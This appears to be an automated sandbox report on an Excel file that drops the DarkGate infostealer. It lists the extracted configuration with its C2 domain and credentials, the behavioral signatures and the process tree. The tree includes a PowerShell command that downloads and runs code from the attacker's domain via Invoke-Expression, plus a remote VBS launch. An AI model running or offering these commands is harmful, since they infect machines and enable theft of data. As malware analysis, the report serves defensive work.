Analysis
- max time kernel
156s - max time network
162s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
19/03/2024, 19:30
General
- Target 356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx
- Size 56KB
- Sample240319-x76fbadb28
- SHA256 356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6
Malware Config
Extracted
-
darkgate
-
admin888
-
badbutperfect.com
-
anti_analysis
true
-
anti_debug
false
-
anti_vm
true
-
c2_port
80
-
check_disk
false
-
check_ram
false
-
check_xeon
false
-
crypter_au3
false
-
crypter_dll
false
-
crypter_raw_stub
false
-
internal_mutex
WZqqpfdY
-
minimum_disk
50
-
minimum_ram
4000
-
ping_interval
6
-
rootkit
false
-
startup_persistence
true
-
username
admin888
Signatures
- DarkGate
DarkGate is an infostealer written in C++.
- Detect DarkGate stealer 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 4 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\356046c5af6ac3b209ff92daa9d12a549846cdd5556fc20296d4d73384f7a8f6.xlsx"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\rimz\AutoHotkey.exe"C:\rimz\AutoHotkey.exe" script.ahk4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h C:/rimz4⤵
- Views/modifies file attributes
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_245rftao.flp.ps1
AutoHotkey.exe
script.ahk
test.txt
memory/1588-68-0x0000000004AF0000-0x0000000004B63000-memory.dmp
memory/1588-66-0x0000000004AF0000-0x0000000004B63000-memory.dmp
memory/4344-65-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp
memory/4344-48-0x000001C0D7510000-0x000001C0D76D2000-memory.dmp
memory/4344-47-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp
memory/4344-45-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp
memory/4344-44-0x000001C0BEE00000-0x000001C0BEE10000-memory.dmp
memory/4344-43-0x00007FFFF5C70000-0x00007FFFF6731000-memory.dmp
memory/4344-38-0x000001C0BEDD0000-0x000001C0BEDF2000-memory.dmp
memory/4576-7-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp
memory/4576-10-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-15-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-16-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-17-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp
memory/4576-18-0x00007FF7DEAC0000-0x00007FF7DEAD0000-memory.dmp
memory/4576-31-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-32-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-13-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-12-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-11-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-14-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-9-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-46-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-1-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-8-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-6-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-3-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp
memory/4576-5-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp
memory/4576-4-0x00007FF820EF0000-0x00007FF8210E5000-memory.dmp
memory/4576-2-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp
memory/4576-0-0x00007FF7E0F70000-0x00007FF7E0F80000-memory.dmp